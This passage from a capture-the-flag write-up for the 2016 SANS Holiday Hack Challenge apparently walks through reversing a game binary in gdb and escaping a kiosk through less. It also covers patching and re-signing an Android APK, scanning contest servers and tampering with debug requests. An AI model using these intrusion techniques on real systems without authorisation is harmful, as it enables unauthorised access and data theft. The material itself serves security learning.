| 0x004026b8 488d5004 lea rdx, [rax + 4] ; 0x4
| 0x004026bc 488b05852a20. mov rax, qword [obj.m6] ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
| 0x004026c3 0fb6401d movzx eax, byte [rax + 0x1d] ; [0x1d:1]=0
| 0x004026c7 8802 mov byte [rdx], al
| 0x004026c9 488b45f8 mov rax, qword [rbp - local_8h]
| 0x004026cd 488d5005 lea rdx, [rax + 5] ; 0x5
| 0x004026d1 488b05582a20. mov rax, qword [obj.m2] ; [0x605130:8]=0x4029d8 str.The_street_finds_its_own_uses_for_things. LEA obj.m2 ; obj.m2
| 0x004026d8 0fb64004 movzx eax, byte [rax + 4] ; [0x4:1]=2
| 0x004026dc 8802 mov byte [rdx], al
| 0x004026de 488b45f8 mov rax, qword [rbp - local_8h]
| 0x004026e2 488d5006 lea rdx, [rax + 6] ; 0x6
| 0x004026e6 488b055b2a20. mov rax, qword [obj.m6] ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
| 0x004026ed 0fb64016 movzx eax, byte [rax + 0x16] ; [0x16:1]=0
| 0x004026f1 8802 mov byte [rdx], al
| 0x004026f3 488b45f8 mov rax, qword [rbp - local_8h]
| 0x004026f7 488d5007 lea rdx, [rax + 7] ; 0x7
| 0x004026fb 488b05262a20. mov rax, qword [obj.m1] ; [0x605128:8]=0x4029bd str.Pattern_Recognition. LEA obj.m1 ; obj.m1
| 0x00402702 0fb6400e movzx eax, byte [rax + 0xe] ; [0xe:1]=0
| 0x00402706 8802 mov byte [rdx], al
| 0x00402708 488b45f8 mov rax, qword [rbp - local_8h]
| 0x0040270c 488d5008 lea rdx, [rax + 8] ; 0x8
| 0x00402710 488b05212a20. mov rax, qword [obj.m4] ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
| 0x00402717 0fb6402e movzx eax, byte [rax + 0x2e] ; [0x2e:1]=0 ; '.'
| 0x0040271b 8802 mov byte [rdx], al
| 0x0040271d 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402721 488d5009 lea rdx, [rax + 9] ; 0x9
| 0x00402725 488b05142a20. mov rax, qword [obj.m5] ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
| 0x0040272c 0fb64007 movzx eax, byte [rax + 7] ; [0x7:1]=0
| 0x00402730 8802 mov byte [rdx], al
| 0x00402732 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402736 488d500a lea rdx, [rax + 0xa] ; 0xa
| 0x0040273a 488b05ff2920. mov rax, qword [obj.m5] ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
| 0x00402741 0fb64049 movzx eax, byte [rax + 0x49] ; [0x49:1]=0 ; 'I'
| 0x00402745 8802 mov byte [rdx], al
| 0x00402747 488b45f8 mov rax, qword [rbp - local_8h]
| 0x0040274b 488d500b lea rdx, [rax + 0xb] ; 0xb
| 0x0040274f 488b05f22920. mov rax, qword [obj.m6] ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
| 0x00402756 0fb64007 movzx eax, byte [rax + 7] ; [0x7:1]=0
| 0x0040275a 8802 mov byte [rdx], al
| 0x0040275c 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402760 488d500c lea rdx, [rax + 0xc] ; 0xc
| 0x00402764 488b05c52920. mov rax, qword [obj.m2] ; [0x605130:8]=0x4029d8 str.The_street_finds_its_own_uses_for_things. LEA obj.m2 ; obj.m2
| 0x0040276b 0fb64004 movzx eax, byte [rax + 4] ; [0x4:1]=2
| 0x0040276f 8802 mov byte [rdx], al
| 0x00402771 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402775 488d500d lea rdx, [rax + 0xd] ; 0xd
| 0x00402779 488b05b82920. mov rax, qword [obj.m4] ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
| 0x00402780 0fb64007 movzx eax, byte [rax + 7] ; [0x7:1]=0
| 0x00402784 8802 mov byte [rdx], al
| 0x00402786 488b45f8 mov rax, qword [rbp - local_8h]
| 0x0040278a 488d500e lea rdx, [rax + 0xe] ; 0xe
| 0x0040278e 488b05b32920. mov rax, qword [obj.m6] ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
| 0x00402795 0fb64003 movzx eax, byte [rax + 3] ; [0x3:1]=70
| 0x00402799 8802 mov byte [rdx], al
| 0x0040279b 488b45f8 mov rax, qword [rbp - local_8h]
| 0x0040279f 488d500f lea rdx, [rax + 0xf] ; 0xf
| 0x004027a3 488b056e2920. mov rax, qword [obj.m3] ; [0x605118:8]=0x402958 str.0123456789abcdef LEA obj.m3 ; "X)@" @ 0x605118
| 0x004027aa 0fb6400d movzx eax, byte [rax + 0xd] ; [0xd:1]=0
| 0x004027ae 8802 mov byte [rdx], al
| 0x004027b0 488b45f8 mov rax, qword [rbp - local_8h]
| 0x004027b4 488d5010 lea rdx, [rax + 0x10] ; 0x10
| 0x004027b8 488b05592920. mov rax, qword [obj.m3] ; [0x605118:8]=0x402958 str.0123456789abcdef LEA obj.m3 ; "X)@" @ 0x605118
| 0x004027bf 0fb6400e movzx eax, byte [rax + 0xe] ; [0xe:1]=0
| 0x004027c3 8802 mov byte [rdx], al
| 0x004027c5 488b45f8 mov rax, qword [rbp - local_8h]
| 0x004027c9 488d5011 lea rdx, [rax + 0x11] ; 0x11
| 0x004027cd 488b055c2920. mov rax, qword [obj.m2] ; [0x605130:8]=0x4029d8 str.The_street_finds_its_own_uses_for_things. LEA obj.m2 ; obj.m2
| 0x004027d4 0fb64006 movzx eax, byte [rax + 6] ; [0x6:1]=1
| 0x004027d8 8802 mov byte [rdx], al
| 0x004027da 488b45f8 mov rax, qword [rbp - local_8h]
| 0x004027de 488d5012 lea rdx, [rax + 0x12] ; 0x12 ; ">"
| 0x004027e2 488b055f2920. mov rax, qword [obj.m6] ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
| 0x004027e9 0fb600 movzx eax, byte [rax]
| 0x004027ec 8802 mov byte [rdx], al
| 0x004027ee 488b45f8 mov rax, qword [rbp - local_8h]
| 0x004027f2 488d5013 lea rdx, [rax + 0x13] ; 0x13
| 0x004027f6 488b05232920. mov rax, qword [obj.m0] ; [0x605120:8]=0x402970 str.The_sky_above_the_port_was_the_color_of_television__tuned_to_a_dead_channel. LEA obj.m0 ; "p)@" @ 0x605120
| 0x004027fd 0fb600 movzx eax, byte [rax]
| 0x00402800 8802 mov byte [rdx], al
| 0x00402802 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402806 488d5014 lea rdx, [rax + 0x14] ; 0x14
| 0x0040280a 488b05272920. mov rax, qword [obj.m4] ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
| 0x00402811 0fb64006 movzx eax, byte [rax + 6] ; [0x6:1]=1
| 0x00402815 8802 mov byte [rdx], al
| 0x00402817 488b45f8 mov rax, qword [rbp - local_8h]
| 0x0040281b 488d5015 lea rdx, [rax + 0x15] ; 0x15
| 0x0040281f 488b05fa2820. mov rax, qword [obj.m0] ; [0x605120:8]=0x402970 str.The_sky_above_the_port_was_the_color_of_television__tuned_to_a_dead_channel. LEA obj.m0 ; "p)@" @ 0x605120
| 0x00402826 0fb6400a movzx eax, byte [rax + 0xa] ; [0xa:1]=0
| 0x0040282a 8802 mov byte [rdx], al
| 0x0040282c 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402830 488d5016 lea rdx, [rax + 0x16] ; 0x16
| 0x00402834 488b050d2920. mov rax, qword [obj.m6] ; [0x605148:8]=0x402ab8 str.Stand_high_long_enough_and_your_lightning_will_come. LEA obj.m6 ; obj.m6
| 0x0040283b 0fb64004 movzx eax, byte [rax + 4] ; [0x4:1]=2
| 0x0040283f 8802 mov byte [rdx], al
| 0x00402841 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402845 4889c7 mov rdi, rax
| 0x00402848 e861f6ffff call sym.to_upper
| 0x0040284d bf9f364000 mov edi, str._nPassphrase: ; str._nPassphrase:
| 0x00402852 e859e2ffff call sym.imp.puts ; int puts(const char *s);
| 0x00402857 488b45f8 mov rax, qword [rbp - local_8h]
| 0x0040285b 4889c7 mov rdi, rax
| 0x0040285e e84de2ffff call sym.imp.puts ; int puts(const char *s);
| 0x00402863 90 nop
| 0x00402864 c9 leave
\ 0x00402865 c3 ret
Instead of trying to statically analyze this function, we can use gdb
to directly jump to it:
$ gdb ./wumpus
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./wumpus...(no debugging symbols found)...done.
(gdb) r
Starting program: ./wumpus
Instructions? (y-n) ^Z
Program received signal SIGTSTP, Stopped (user).
0x00007ffff7b0cba0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81 ../sysdeps/unix/syscall-template.S: Aucun fichier ou dossier de ce type.
(gdb) j kill_wump
Continuing at 0x402648.
*thwock!* *groan* *crash*
A horrible roar fills the cave, and you realize, with a smile, that you
have slain the evil Wumpus and won the game! You don't want to tarry for
long, however, because not only is the Wumpus famous, but the stench of
dead Wumpus is also quite well known, a stench plenty enough to slay the
mightiest adventurer at a single whiff!!
Passphrase:
WUMPUS IS MISUNDERSTOOD
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7ff5000 in ?? ()
If you reaaaaally want to do it by hand, here's a short explanation (statical analysis and disassembly are not my strong suits):
[...]
| 0x00402656 bf18000000 mov edi, 0x18 ; "0.@"
| 0x0040265b e8f0e4ffff call sym.imp.malloc ; void *malloc(size_t size);
| 0x00402660 488945f8 mov qword [rbp - local_8h], rax
| 0x00402664 488b05cd2a20. mov rax, qword [obj.m4] ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
| 0x0040266b 0fb65009 movzx edx, byte [rax + 9] ; [0x9:1]=0
| 0x0040266f 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402673 8810 mov byte [rax], dl
| 0x00402675 488b45f8 mov rax, qword [rbp - local_8h]
[...]
Before the passphrase is printed, we can see that the program allocates memory
for a buffer, with a call so sym.imp.malloc
. The size of the buffer is
0x18
bytes, which is exactly the size of our final passphrase, plus
one, for the NULL byte (wink, wink). So, our final passphrase will be
constructed and put into a final buffer.
Then, we can see that several strings are used to compute our final passphrase. The first one is:
When you want to know how things really work, study them when they're coming apart
The pointer to this string is put into the rax
register. The byte
situated at rax + 9
is then put into the edx
register. If we
take our string, and get the 9th character (starting counting from 0), we get
the w
from want
.
This character is then moved to the local_8h
variable. We now have a
local_8h
variable, starting with w
. Incidently, it's the first
character of our final passphrase (see where this is going?).
We then move on to the second character, using the following string:
We have no future because our present is too volatile. We have only risk management.
[...]
| 0x00402679 488d5001 lea rdx, [rax + 1] ; 0x1
| 0x0040267d 488b05bc2a20. mov rax, qword [obj.m5] ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
| 0x00402684 0fb6400e movzx eax, byte [rax + 0xe] ; [0xe:1]=0
| 0x00402688 8802 mov byte [rdx], al
| 0x0040268a 488b45f8 mov rax, qword [rbp - local_8h]
[...]
We see that the byte situated at rax + 0xe
, which is the second
u
in future
, is stored in edx
. This character is then
moved to local_8h + 1
.
Our local_8h
now begins with wu
. We do this for the rest of the
strings, and we finally get wumpus is misunderstood
, before the call to
the sym.to_upper
function, giving us the final passphrase.
[...]
| 0x0040283b 0fb64004 movzx eax, byte [rax + 4] ; [0x4:1]=2
| 0x0040283f 8802 mov byte [rdx], al
| 0x00402841 488b45f8 mov rax, qword [rbp - local_8h]
| 0x00402845 4889c7 mov rdi, rax
| 0x00402848 e861f6ffff call sym.to_upper
| 0x0040284d bf9f364000 mov edi, str._nPassphrase: ; str._nPassphrase:
| 0x00402852 e859e2ffff call sym.imp.puts ; int puts(const char *s);
| 0x00402857 488b45f8 mov rax, qword [rbp - local_8h]
| 0x0040285b 4889c7 mov rdi, rax
| 0x0040285e e84de2ffff call sym.imp.puts ; int puts(const char *s);
[...]
Passphrase: WUMPUS IS MISUNDERSTOOD
This passphrase gives you an access to a room called DFER, where there's no terminal.
Train station
You're given access to a kiosk menu to control the train:
Train Management Console: AUTHORIZED USERS ONLY ==== MAIN MENU ==== STATUS: Train Status BRAKEON: Set Brakes BRAKEOFF: Release Brakes START: Start Train HELP: Open the help document QUIT: Exit console menu:main>
If you want to start the train, you must release the brakes, and know the correct passphrase:
==== MAIN MENU ==== STATUS: Train Status BRAKEON: Set Brakes BRAKEOFF: Release Brakes START: Start Train HELP: Open the help document QUIT: Exit console menu:main> BRAKEOFF *******CAUTION******* The brake has been released! *******CAUTION******* off ==== MAIN MENU ==== STATUS: Train Status BRAKEON: Set Brakes BRAKEOFF: Release Brakes START: Start Train HELP: Open the help document QUIT: Exit console menu:main> START Checking brakes.... Enter Password:
Let's see how we can find this password.
If you take a look at the HELP
function, you can see that it's opening
a help file. The clue in the description of the HELP
function
("unLESS you know something I don't"), plus the name of the file at the
bottom of the screen, is a strong indicator that the menu is using the
less
command to open the help file:
By using the :e
command, we can examine another file than the one open.
By using tabulation auto-complete, we can see the name of the script used to
display the kiosk menu, Train_Console
:
Passphrase: 24fb3e89ce2aa0ea422c3d511d40dd84
.
By starting the train, we can see that we can travel to the past, in 1978!
We then arrive in the North Pole, but in 1978:
We can go, in 1978, into every room that we unlocked in 2016. By doing so, we find Santa in the DFER ("Dungeon For Errant Reindeer") room:
Part 4: My Gosh... It's Full of Holes
Well, we've found Santa, Christmas is saved, hurray! But the abductor is still roaming free. And since Santa is suffering from short-term memory loss because of the fight, he doesn't remember who attacked him. So, who is behind Santa's attack, and where can we find them? By taking a look at the SantaGram application, we may find some interesting informations.
We're looking for servers the SantaGram application interacts with. By looking at the resource file in the decompiled APK, we can find several URLs:
0x7f070015 (2131165205) = string.analytics_launch_url: https://analytics.northpolewonderland.com/report.php?type=launch 0x7f070016 (2131165206) = string.analytics_usage_url: https://analytics.northpolewonderland.com/report.php?type=usage [...] 0x7f07001a (2131165210) = string.banner_ad_url: http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5 [...] 0x7f07001d (2131165213) = string.debug_data_collection_url: http://dev.northpolewonderland.com/index.php [...] 0x7f07001f (2131165215) = string.dungeon_url: http://dungeon.northpolewonderland.com/ 0x7f070020 (2131165216) = string.exhandler_url: http://ex.northpolewonderland.com/exception.php
This gives us a total of five servers to target:
- analytics.northpolewonderland.com
- ads.northpolewonderland.com
- dev.northpolewonderland.com
- dungeon.northpolewonderland.com
- ex.northpolewonderland.com
We can confirm with the Great and Powerful Oracle, Tom Hessman, that these are indeed, the servers to target:
Alright, let the hacking begin!
The Mobile Analytics Server (via credentialed login access)
For the first part of this server, you only need to log in with the credentials
found in the decompiled APK, guess/busyreindeer78
. Once you're
connected, you can download the wanted audio file:
The Dungeon Game
The web server of the Dungeon game gives us instructions on how to play. A mischievous Elf is said to trade secrets for gifts. If we give him a gift, he may help us find the villain!
However, we can't seem to start a party on the web page. Similarly as last year, and since an elf in the North Pole hints to do so, I suspected there was another open port, on which we could connect to play the Dungeon game:
$ nmap dungeon.northpolewonderland.com
Starting Nmap 6.47 ( http://nmap.org ) at 2016-12-29 21:58 CET
Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139)
Host is up (0.12s latency).
rDNS record for 35.184.47.139: 139.47.184.35.bc.googleusercontent.com
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
11111/tcp open vce
Nmap done: 1 IP address (1 host up) scanned in 16.09 seconds
The last port is not a standard one, let's connect to it with nc
:
$ nc dungeon.northpolewonderland.com 11111
Welcome to Dungeon. This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>
As suspected, it's an interface to the Dungeon game. That's when I decided to brush up a little bit on it (instead of just posting a link to the Wikipedia article as I did in Part 1). It's a text-based RPG, inspired by Dungeons and Dragons. It's apparently strongly tied to the famous Zork.
So I started searching for *cough cough* write-through of Zork and found this one. It's not really necessary, but it gave me the idea to go up the chimney.
Anyway, here's how to get the wanted information:
Welcome to Dungeon. This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>south
You are facing the south side of a white house. There is no door here,
and all the windows are barred.
>east
You are behind the white house. In one corner of the house
there is a window which is slightly ajar.
>open window
With great effort, you open the window far enough to allow passage.
>go in
You are in the kitchen of the white house. A table seems to have
been used recently for the preparation of food. A passage leads to
the west, and a dark staircase can be seen leading upward. To the
east is a small window which is open.
On the table is an elongated brown sack, smelling of hot peppers.
A clear glass bottle is here.
The glass bottle contains:
A quantity of water.
>west
You are in the living room. There is a door to the east. To the west
is a wooden door with strange gothic lettering, which appears to be
nailed shut.
In the center of the room is a large oriental rug.
There is a trophy case here.
On hooks above the mantlepiece hangs an elvish sword of great antiquity.
A battery-powered brass lantern is on the trophy case.
There is an issue of US NEWS & DUNGEON REPORT dated 11-MAR-78 here.
>take lantern
Taken.
>turn lantern on
The lamp is now on.
>move rug
With a great effort, the rug is moved to one side of the room.
With the rug moved, the dusty cover of a closed trap door appears.
>open trap door
The door reluctantly opens to reveal a rickety staircase descending
into darkness.
>go down
You are in a dark and damp cellar with a narrow passageway leading
east, and a crawlway to the south. To the west is the bottom of a
steep metal ramp which is unclimbable.
The door crashes shut, and you hear someone barring it.
>south
You are on the west edge of a chasm, the bottom of which cannot be
seen. The east side is sheer rock, providing no exits. A narrow
passage goes west. The path you are on continues to the north and south.
>south
You are in an art gallery. Most of the paintings which were here
have been stolen by vandals with exceptional taste. The vandals
left through the north, south, or west exits.
Fortunately, there is still one chance for you to be a vandal, for on
the far wall is a work of unparalleled beauty.
>take painting
Taken.
>south
You are in what appears to have been an artist's studio. The walls
and floors are splattered with paints of 69 different colors.
Strangely enough, nothing of value is hanging here. At the north and
northwest of the room are open doors (also covered with paint). An
extremely dark and narrow chimney leads up from a fireplace. Although
you might be able to get up the chimney, it seems unlikely that you
could get back down.
>go up
You have mysteriously reached the North Pole.
In the distance you detect the busy sounds of Santa's elves in full
production.
You are in a warm room, lit by both the fireplace but also the glow of
centuries old trophies.
On the wall is a sign:
Songs of the seasons are in many parts
To solve a puzzle is in our hearts
Ask not what what the answer be,
Without a trinket to satisfy me.
The elf is facing you keeping his back warmed by the fire.
>give painting to elf
The elf, satisified with the trade says -
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 89 [total of 585 points], in 16 moves.
This gives you the rank of Novice Adventurer.
We're given instructions to send a mail to peppermint@northpolewonderland.com to receive the information we seek. After sending an email, we get an answer:
We now have our third weird audio file.
The Debug Server
If we look at the decompiled source code of the SantaGram application, we can see that the debug server is called when a user modifies their own profile:
// File com/northpolewonderland/santagram/EditProfile.java
if (getString(R.string.debug_data_enabled).equals("true")) {
Log.i(getString(R.string.TAG), "Remote debug logging is Enabled");
z = true;
} else {
Log.i(getString(R.string.TAG), "Remote debug logging is Disabled");
z = false;
}
[...]
if (z) {
try {
final JSONObject jSONObject = new JSONObject();
jSONObject.put("date", new SimpleDateFormat("yyyyMMddHHmmssZ").format(Calendar.getInstance().getTime()));
jSONObject.put("udid", Secure.getString(getContentResolver(), "android_id"));
jSONObject.put("debug", getClass().getCanonicalName() + ", " + getClass().getSimpleName());
jSONObject.put("freemem", Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory());
new Thread(new Runnable(this) {
final /* synthetic */ EditProfile b;
public void run() {
b.a(this.b.getString(R.string.debug_data_collection_url), jSONObject);
}
}).start();
} catch (Exception e) {
Log.e(getString(R.string.TAG), "Error posting JSON debug data: " + e.getMessage());
}
}
However, to do so, debug mode must be enabled in the application. To check
this, the application compares the string debug_data_enabled
in the
application resource's to true
. Let's take a look at the resources:
<!-- File res/values/strings.xml -->
<string name="debug_data_enabled">false</string>
Debug data are disabled. So we need to modify the resource file of the application in order to enable it. Luckily, this is something we often have to do in my day job: more and more of our clients are implementing TLS certificate pinning in their mobile applications, which prevents us from intercepting the tested application's communication with Burp. This means that we have to decompile the application, patch the certificate pinning code, recompile, then reinstall the application. This is kind of what we have to do here, except instead of patching the certificate pinning code, we just have to modify the resource file to enable debug data.
I'm basically going to use this excellent tutorial to patch the application and rebuild it without any problem.
# First, we're disassembling the application
$ apktool d ./SantaGram_4.2.apk -o SantaGram_4.2_disassembled
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: ~/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
# Now, we modify our resource file
$ sed -i 's/<string name="debug_data_enabled">false/<string name="debug_data_enabled">true/g' SantaGram_4.2_disassembled/res/values/strings.xml
$ grep 'debug_data_enabled' SantaGram_4.2_disassembled/res/values/strings.xml
<string name="debug_data_enabled">true</string>
# Now, we're rebuilding our application
$ apktool b ./SantaGram_4.2_disassembled -o SantaGram_4.2_debug.apk
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
# In order to be able to install our new APK, we must sign it, check the above
# tutorial for instructions
$ keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
[...]
$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore SantaGram_4.2_debug.apk alias_name
Enter Passphrase for keystore:
jar signed.
Warning:
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate this jar after the signer certificate's expiration date (2044-05-14) or after any future revocation date.
We now have a SantaGram_4.2_debug.apk
file, that we can install on our
phone. This application has debugging enabled, which means that we'll see
communication with the debug server.
<reminder>
Even though communications with the debug server is done in plain text, the application communicates with the https://www.northpolewonderland.com/ application. Since it's TLS-encrypted, and the application checks the validity of the certificate, you must import your intercepting proxy's CA certificate in your telephone. Just a reminder that Android phones can only import PEM, and that by default Burp exports its CA certificate in DER. You can use the following OpenSSL command to convert it:
$ openssl x509 -inform der -in ./burpca.der -out burpca.pem
</reminder>
We can now launch the application, log in with our credentials
guest/busyreindeer78
, and edit our profile:
Our patch worked, because we can see some request to the debug server:
POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 144
{"date":"20161227010602+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":26914200}
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 27 Dec 2016 00:06:03 GMT
Content-Type: application/json
Connection: close
Content-Length: 250
{"date":"20161227000603","status":"OK","filename":"debug-20161227000603-0.txt","request":{"date":"20161227010602+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":26914200,"verbose":false}}
We can see in the server's reponse that there's a verbose
parameter
set to false
. What if we set "verbose":true
in our request
(me loves some verbosity)?
POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 159
{"date":"20161227001619+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":48663448,"verbose":true}
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 27 Dec 2016 00:09:10 GMT
Content-Type: application/json
Connection: close
Content-Length: 755
{"date":"20161227000910","date.len":14,"status":"OK","status.len":"2","filename":"debug-20161227000910-0.txt","filename.len":26,"request":{"date":"20161227001619+0100","udid":"58bc60a3ff0f2f1a","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":48663448,"verbose":true},"files":["debug-20161224235959-0.mp3","debug-20161226231736-0.txt","debug-20161226232005-0.txt","debug-20161226232057-0.txt","debug-20161226232243-0.txt","debug-20161226232507-0.txt","debug-20161226232516-0.txt","debug-20161226233655-0.txt","debug-20161226234235-0.txt","debug-20161226234246-0.txt","debug-20161226234259-0.txt","debug-20161226234313-0.txt","debug-20161227000501-0.txt","debug-20161227000603-0.txt","debug-20161227000910-0.txt","index.php"]}
Yes! Many more informations were sent back, including the name of our audio
file, debug-20161224235959-0.mp3
.
We can now download our audio file at this URL: http://dev.northpolewonderland.com/debug-20161224235959-0.mp3
The Banner Ad Server
The SantaGram bug bounty program is apparently running an ad server, so as to display ad in the Android application. If we go to this ad web server, we can see that it's running the Meteor Javascript framework:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" class="__meteor-css__" href="/d1281f37fbafb6db67a052e58c901679c5cabcc2.css?meteor_css_resource=true">
<meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags--><meta name="description" content="Holiday Hack"><title>Ad Nauseam - Stupid Ads for Stupid People</title>
</head>
<body>
<script type="text/javascript">__meteor_runtime_config__ = JSON.parse(decodeURIComponent("%7B%22meteorRelease%22%3A%22METEOR%401.4.2.3%22%2C%22meteorEnv%22%3A%7B%22NODE_ENV%22%3A%22production%22%2C%22TEST_METADATA%22%3A%22%7B%7D%22%7D%2C%22PUBLIC_SETTINGS%22%3A%7B%7D%2C%22ROOT_URL%22%3A%22http%3A%2F%2Fads.northpolewonderland.com%22%2C%22ROOT_URL_PATH_PREFIX%22%3A%22%22%2C%22appId%22%3A%221vgh1e61x7h692h4hyt1%22%2C%22autoupdateVersion%22%3A%22537dcf6b4594db16ea2d99d0a920f2deeb7dc9f1%22%2C%22autoupdateVersionRefreshable%22%3A%2205c3f7dba9f3e15efa3d971acf18cab901dc0505%22%2C%22autoupdateVersionCordova%22%3A%22none%22%7D"));</script>
<script type="text/javascript" src="/fedc8e9f69dab9d81a4f227d6ec76567fcb56231.js?meteor_js_resource=true"></script>
</body>
</html>
What a crazy random happenstance, it just so happens that an article about pentesting Meteor-based web applications was recently published on the SANS blog.
So, let's spin Tampermonkey, with the Meteor Miner script, to see what kind of informations we can extract from the applications. On this screenshot, we can see that we have access to the quotes printed on the front page:
We can also see that there's an /admin/quotes page:
If we go to it, even if we're supposed to be logged in, we can see that there's one quote more than on the front page:
In one of these quotes, we can see that there's a link to the MP3 file we want. We can then download the MP3 file from this URL: http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3
The Uncaught Exception Handler Server
When the Android application encounters a Java exception, it's sent to an exception handling server: http://ex.northpolewonderland.com/exception.php. For example, when I first tried to run the Santagram application on a virtual Android device, this exception was sent (some problem with the resolution of my virtual device):
POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 3860
{"operation":"WriteCrashDump","data":{"message":"Canvas: trying to draw too large(113246208bytes) bitmap.","lmessage":"Canvas: trying to draw too large(113246208bytes) bitmap.","strace":"java.lang.RuntimeException: Canvas: trying to draw too large(113246208bytes) bitmap.\n\tat android.view.DisplayListCanvas.throwIfCannotDraw(DisplayListCanvas.java:260)\n\tat android.graphics.Canvas.drawBitmap(Canvas.java:1415)\n\tat android.graphics.drawable.BitmapDrawable.draw(BitmapDrawable.java:528)\n\tat android.widget.ImageView.onDraw(ImageView.java:1316)\n\tat android.view.View.draw(View.java:17185)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16167)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat 